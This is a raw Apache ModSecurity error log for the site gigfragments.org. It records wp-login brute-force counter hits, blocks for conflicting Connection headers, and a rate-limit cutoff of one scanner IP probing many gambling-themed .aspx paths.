[Fri May 15 06:52:49.514998 2026] [:error] [pid 50531:tid 50550] [client 143.14.9.113:45396] [client 143.14.9.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.14.9.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agZSQR3WbFwE6voqGzqvsgAAARE"]
[Fri May 15 06:52:50.978491 2026] [:error] [pid 50531:tid 50551] [client 143.14.9.113:45396] [client 143.14.9.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.14.9.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agZSQh3WbFwE6voqGzqvtQAAARI"], referer: https://gigfragments.org/wp-login.php
[Fri May 15 07:23:54.360296 2026] [:error] [pid 1188:tid 1210] [client 43.159.61.24:51860] [client 43.159.61.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agZZitY68iW8yuNkNzPV_wAAAA0"]
[Fri May 15 08:22:07.428290 2026] [:error] [pid 51234:tid 51248] [client 43.130.174.37:41344] [client 43.130.174.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agZnL972N9CbeiqcqgOeCAAAAUw"]
[Fri May 15 08:29:39.439091 2026] [:error] [pid 1190:tid 1252] [client 69.163.176.23:35258] [client 69.163.176.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.176.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agZo89qiXrD7hne4gFaxtgAAAIA"]
[Fri May 15 08:29:43.901375 2026] [:error] [pid 1190:tid 1272] [client 69.163.176.23:35258] [client 69.163.176.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.176.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agZo99qiXrD7hne4gFaxtwAAAJQ"], referer: https://gigfragments.org/wp-login.php
[Fri May 15 08:33:19.044634 2026] [:error] [pid 1295:tid 1316] [client 51.83.7.81:50390] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agZpz9mMhqLvs0GYixn2gQAAANI"]
[Fri May 15 08:33:21.013326 2026] [:error] [pid 1190:tid 1269] [client 51.83.7.81:51784] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agZp0dqiXrD7hne4gFayhQAAAJE"]
[Fri May 15 08:33:22.898441 2026] [:error] [pid 51234:tid 51257] [client 51.83.7.81:34804] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "agZp0t72N9CbeiqcqgOiGwAAAVU"]
[Fri May 15 08:33:24.929612 2026] [:error] [pid 1295:tid 1310] [client 51.83.7.81:34812] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "agZp1NmMhqLvs0GYixn2kwAAAMw"]
[Fri May 15 08:33:26.985307 2026] [:error] [pid 50531:tid 50557] [client 51.83.7.81:34816] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "agZp1h3WbFwE6voqGzrIyQAAARg"]
[Fri May 15 08:33:28.720725 2026] [:error] [pid 1190:tid 1254] [client 51.83.7.81:34826] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "agZp2NqiXrD7hne4gFayjQAAAII"]
[Fri May 15 08:33:30.748139 2026] [:error] [pid 1189:tid 1227] [client 51.83.7.81:34838] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "agZp2ge36qIGegR4kclgJwAAAEI"]
[Fri May 15 08:33:32.640453 2026] [:error] [pid 1190:tid 1263] [client 51.83.7.81:55906] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "agZp3NqiXrD7hne4gFaykQAAAIs"]
[Fri May 15 08:33:34.501680 2026] [:error] [pid 1188:tid 1200] [client 51.83.7.81:55922] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "agZp3tY68iW8yuNkNzPd7wAAAAM"]
[Fri May 15 08:33:36.527930 2026] [:error] [pid 1190:tid 1255] [client 51.83.7.81:55932] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "agZp4NqiXrD7hne4gFaylwAAAIM"]
[Fri May 15 08:33:38.434881 2026] [:error] [pid 51234:tid 51248] [client 51.83.7.81:55948] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "agZp4t72N9CbeiqcqgOiNAAAAUw"]
[Fri May 15 08:33:40.326551 2026] [:error] [pid 1188:tid 1216] [client 51.83.7.81:55964] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "agZp5NY68iW8yuNkNzPd-AAAABM"]
[Fri May 15 08:33:42.214079 2026] [:error] [pid 1188:tid 1211] [client 51.83.7.81:57320] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "agZp5tY68iW8yuNkNzPd-wAAAA4"]
[Fri May 15 08:33:44.263753 2026] [:error] [pid 1190:tid 1263] [client 51.83.7.81:57330] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "agZp6NqiXrD7hne4gFayoAAAAIs"]
[Fri May 15 08:33:46.146393 2026] [:error] [pid 1189:tid 1243] [client 51.83.7.81:57332] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "agZp6ge36qIGegR4kclgMgAAAFI"]
[Fri May 15 08:33:48.049480 2026] [:error] [pid 50531:tid 50537] [client 51.83.7.81:57340] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "agZp7B3WbFwE6voqGzrI3wAAAQQ"]
[Fri May 15 08:33:49.943161 2026] [:error] [pid 50531:tid 50538] [client 51.83.7.81:57346] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "agZp7R3WbFwE6voqGzrI4AAAAQU"]
[Fri May 15 08:33:51.981911 2026] [:error] [pid 1188:tid 1204] [client 51.83.7.81:54858] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "agZp79Y68iW8yuNkNzPeBAAAAAc"]
[Fri May 15 08:33:53.875829 2026] [:error] [pid 51234:tid 51238] [client 51.83.7.81:54860] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "agZp8d72N9CbeiqcqgOiPgAAAUI"]
[Fri May 15 08:33:55.765762 2026] [:error] [pid 51234:tid 51253] [client 51.83.7.81:54866] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "agZp8972N9CbeiqcqgOiRAAAAVE"]
[Fri May 15 08:33:57.651709 2026] [:error] [pid 50531:tid 50548] [client 51.83.7.81:54876] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "agZp9R3WbFwE6voqGzrI5wAAAQ8"]
[Fri May 15 08:33:59.691984 2026] [:error] [pid 51234:tid 51254] [client 51.83.7.81:54890] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "agZp9972N9CbeiqcqgOiSgAAAVI"]
[Fri May 15 08:34:01.577199 2026] [:error] [pid 50531:tid 50552] [client 51.83.7.81:54906] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "agZp-R3WbFwE6voqGzrI7gAAARM"]
[Fri May 15 08:34:03.470193 2026] [:error] [pid 1190:tid 1265] [client 51.83.7.81:47878] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "agZp-9qiXrD7hne4gFaypwAAAI0"]
[Fri May 15 08:34:05.365591 2026] [:error] [pid 51234:tid 51242] [client 51.83.7.81:47882] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "agZp_d72N9CbeiqcqgOiVAAAAUY"]
[Fri May 15 08:34:07.408158 2026] [:error] [pid 50531:tid 50543] [client 51.83.7.81:47894] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "agZp_x3WbFwE6voqGzrI-QAAAQo"]
[Fri May 15 08:34:09.296710 2026] [:error] [pid 50531:tid 50557] [client 51.83.7.81:47904] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "agZqAR3WbFwE6voqGzrI_QAAARg"]
[Fri May 15 08:34:11.196558 2026] [:error] [pid 51234:tid 51250] [client 51.83.7.81:47916] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "agZqA972N9CbeiqcqgOiYAAAAU4"]
[Fri May 15 08:34:13.098349 2026] [:error] [pid 51234:tid 51239] [client 51.83.7.81:53818] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "agZqBd72N9CbeiqcqgOiaAAAAUM"]
[Fri May 15 08:34:15.127425 2026] [:error] [pid 1189:tid 1239] [client 51.83.7.81:53830] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agZqBwe36qIGegR4kclgQwAAAE4"]
[Fri May 15 08:34:49.904465 2026] [:error] [pid 1189:tid 1235] [client 51.83.7.81:53832] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "agZqKQe36qIGegR4kclgXgAAAEo"]
[Fri May 15 08:34:51.883125 2026] [:error] [pid 51234:tid 51242] [client 51.83.7.81:34300] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "agZqK972N9CbeiqcqgOirQAAAUY"]
[Fri May 15 08:34:53.756436 2026] [:error] [pid 1295:tid 1316] [client 51.83.7.81:34304] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agZqLdmMhqLvs0GYixn25gAAANI"]
[Fri May 15 08:34:55.793933 2026] [:error] [pid 1190:tid 1253] [client 51.83.7.81:34310] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "agZqL9qiXrD7hne4gFay1QAAAIE"]
[Fri May 15 08:34:57.675071 2026] [:error] [pid 1190:tid 1276] [client 51.83.7.81:34324] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agZqMdqiXrD7hne4gFay3AAAAJg"]
[Fri May 15 08:34:59.571747 2026] [:error] [pid 50531:tid 50549] [client 51.83.7.81:34340] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "agZqMx3WbFwE6voqGzrJRwAAARA"]
[Fri May 15 08:35:01.456886 2026] [:error] [pid 1190:tid 1270] [client 51.83.7.81:34354] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "agZqNdqiXrD7hne4gFay6wAAAJI"]
[Fri May 15 08:35:03.486977 2026] [:error] [pid 1295:tid 1310] [client 51.83.7.81:35656] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "agZqN9mMhqLvs0GYixn3EQAAAMw"]
[Fri May 15 08:35:05.384365 2026] [:error] [pid 1295:tid 1304] [client 51.83.7.81:35666] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "agZqOdmMhqLvs0GYixn3IwAAAMY"]
[Fri May 15 08:35:07.291764 2026] [:error] [pid 1295:tid 1309] [client 51.83.7.81:35676] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "agZqO9mMhqLvs0GYixn3MgAAAMs"]
[Fri May 15 08:35:09.168105 2026] [:error] [pid 1295:tid 1322] [client 51.83.7.81:35690] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "agZqPdmMhqLvs0GYixn3QgAAANg"]
[Fri May 15 08:35:11.069675 2026] [:error] [pid 51234:tid 51240] [client 51.83.7.81:35702] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "agZqP972N9CbeiqcqgOjDwAAAUQ"]
[Fri May 15 08:35:12.983065 2026] [:error] [pid 1188:tid 1209] [client 51.83.7.81:35786] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agZqQNY68iW8yuNkNzPeXAAAAAw"]
[Fri May 15 08:35:14.871444 2026] [:error] [pid 51234:tid 51253] [client 51.83.7.81:35792] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "agZqQt72N9CbeiqcqgOjKgAAAVE"]
[Fri May 15 08:35:16.772694 2026] [:error] [pid 1188:tid 1212] [client 51.83.7.81:35798] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "agZqRNY68iW8yuNkNzPeZAAAAA8"]
[Fri May 15 08:35:18.826513 2026] [:error] [pid 1189:tid 1237] [client 51.83.7.81:35808] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "agZqRge36qIGegR4kclglAAAAEw"]
[Fri May 15 08:35:20.713826 2026] [:error] [pid 1190:tid 1257] [client 51.83.7.81:35822] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "agZqSNqiXrD7hne4gFazJwAAAIU"]
[Fri May 15 08:35:22.606996 2026] [:error] [pid 1295:tid 1315] [client 51.83.7.81:43788] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agZqStmMhqLvs0GYixn3fgAAANE"]
[Fri May 15 08:35:24.513738 2026] [:error] [pid 1188:tid 1203] [client 51.83.7.81:43794] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "agZqTNY68iW8yuNkNzPecQAAAAY"]
